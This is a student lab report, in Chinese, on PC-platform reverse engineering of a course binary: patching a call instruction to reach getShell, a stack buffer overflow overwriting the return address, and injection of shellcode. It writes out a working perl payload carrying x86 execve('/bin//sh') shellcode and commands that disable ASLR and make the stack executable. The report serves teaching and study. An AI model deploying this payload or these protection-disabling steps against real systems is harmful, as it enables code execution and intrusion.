2018-2019-2 20165216《网络对抗技术》Exp1 PC平台逆向破解(5)M
2018-2019-2 20165216《网络对抗技术》Exp1 PC平台逆向破解(5)M
实验要求
1:掌握NOP,JNE,JE,JMP,CMP汇编指令的机器码
2: 掌握反汇编与十六进制编程器
3:能正确修改机器指令改变程序执行流程
4:能正确构造payload进行bof攻击
实验内容
- 手动修改可执行文件,改变程序执行流程,直接跳转到getShell函数
- 利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,出发getShell
- 注入一个自己制作的shellcode并运行这段shellcode.
预备知识
-
熟悉Linux基本操作
-
能看懂常用指令,如管道(|),输入、输出重定向(>)等。
-
理解Bof的原理
-
能看懂汇编、机器指令、EIP、指令地址
-
会使用gdb,vi
实验步骤
1:逆向及Bof基础实践
本次实践对象为一pwn1的linux可执行文件,程序正常流程不执行getshell函数,但会执行一个foo函数,由于代码中包含了一个getshell,所以我们这里可以使用三种方式实现我们的目标
-
运行原本不可访问的代码片段
-
强行修改程序执行流
-
以及注入运行任意代码
2直接修改程序机器指令,改变程序执行流程
2.1知识要求
-
掌握Call指令的机器码,了解EIP寄存器的功能,了解指令跳转的偏移计算
-
学习反汇编
2.2实现过程
1:下载目标文件pwn1,将其放入共享文件夹中
2:进入kali终端,使用 cp 指令复制pwn1 分别命名为pwn2、pwn3
3:使用指令 objdump -d pwn1 对pwn1进行反汇编指令,查看对应的代码
4:了解地址信息
5:vim pwn1编辑内容
6:使用 :%!xxd将显示模式切换为16进制模式
7:修改地址跳转
8:使用 :%!xxd -r 转为16进制原格式
9:wq保存退出
10:再使用 objdump -d pwn1 反汇编检查call指令跳转
11:./pwn1 运行代码。
2.3小结
-
Linux系统中 call 8048491
汇编代码在此处对应的机器指令为 e8 d7ffffff -
e8 为跳转的意思,在刚执行这条语句时,EIP存储的值为下调指令的地址,即 80484ba,d7ffffff是小端显示的 -41的补码,0x80484ba-41=8048491
-
要实现执行getshell,我们需要使计算结果为804847d
-
0x80484ba-0x804847d=0x000003d,所以我们要知道十进制-61的补码为ffffffc3
-
修改对应位置的机器码即可
3通过构造输入参数,造成BOF攻击,改变程序执行流
3.1知识要求
-
堆栈结构的理解,明白返回地址是如何被覆盖
-
掌握如何获取返回地址的。
3.2实现过程
1:使用objdump -d pwn2查看地址信息
2:找到foo函数内地址为0x804849a读取字符串的位置
3:分析字符串所留空间
4: lea -0x1c(%ebp),%eax,我们知道栈顶为esp,栈顶为ebp,且栈顶为高地址,-代表为栈的空间扩大,留给了其0x1c+4(ebp的大小)=32字节
5:确定超过32字节数值覆盖返回地址的情况
6:gdb pwn2进行调试
7:r直接运行,并输入随意32字节+123456789
8:info r 查看寄存器所存数值
9:观察eip(下条指令地址)
10:在32字节后使用16进行/x..填写跳转地址
11:使用Perl语言构造重定向文件,在这里我们命名为input
12:使用管道符“|”将input作为pwn1的输入
13:执行,查看结果
3.3小结
-
Perl是一门解释性语言,不需要预编译,可以在命令行上直接使用重定向“>“将perl生成的字符串存储到文件input中
-
在32字节后使用12345678是使数字不同而可以明显的观察到到底是哪几位覆盖到了eip当中。
-
1、2、3、4...的ASCII值为别为0x34 0x35 0x36.....
4注入Shellcode并执行
4.1知识要求
-
shellcode就是一段机器指令(code),在实际应用中,凡是用来注入的机器指令段都被通称shellcode
-
掌握二种基本buf攻击中的一种
1:retaddr+nop+shellcode
2:nop+shellcode+retaddr
-
获取shellcode命令:
perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
4.2准备工作
1:关闭堆栈保护
2:关闭堆栈执行保
3:关闭地址随机化
4:x32环境
5:Linux时间环境
具体指令
1:ap-get install execstack /安装execstack命令/
2:execstack -s pwn3 / 设置堆栈可执行/
3:execstack -q pwn3 /查询文件的堆栈是否可执行/
4:echo "0" > /proc/sys/kernel/randomize_va_space /关闭地址随机化/
5:more /proc/sys/kernel/randomize_va_space /查询是否关闭地址随机化/
4.3实现过程
1:构造重定位文件,输入指令 perl -e 'print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
2:注入此段攻击:(cat input_shellcode;cat) | ./pwn3
3:打开另一个终端,使用ps -ef | grep pwn3查看相应进程号
4:gdb进行调试
5:使用命令 atach + 进程号调试
6:使用 disassemble foo命令反汇编,设置断点查看注入buf的内存地址。
7: break *0x080484ae设置断点,并输入 c 命令继续执行
8:在输入c回车一下后在另外一个终端按次回车,再返回使用 info r esp查看地址。
9:使用命令 x/16x 查看内存内容,当我们找到了 0x01020304,就知道我们的shellcode就在后面,所以我们的Shellcode就是这个地址+4
10:修改重定位文件
11:执行
4.4小结
1 :这里采用的是nop+shellcode+retaddr的结构
2:nop即使为了填充,也可以作为“滑行区”,当返回地址落到任何一个nop上,都会滑行道shellcode的代码
遇到的问题
1: File format not recognized
在修改 d7为c3之后选择了,先:wq,再%!xxd -r,随后改为 先%!xxd -r 再:wq就解决了
2:Cannot connect to non-local host kali
在做实验前没有在设置处修改名称为学号,在终端输入 hostname 20165216,临时名字与主机不符出现的提示,在设置处设置之后,再做一遍就解决了。
什么是漏洞?漏洞有什么危害?
漏洞是其设计成品不符合设计者的预想而需要解决的问题,漏洞使其不能完成设计的功能,更甚完成一些恶意功能,造成信息泄露、篡改等非法操作
实验收获与体会
本次实验让我学会了call指令是具体怎样实现其功能的,还对堆栈有了更深的理解。缓冲区溢出防范的最基本设计,注入代码的二种方式。如何查看地址内容,perl语言的重定位文件的生成,不断实践才能更深刻的理解。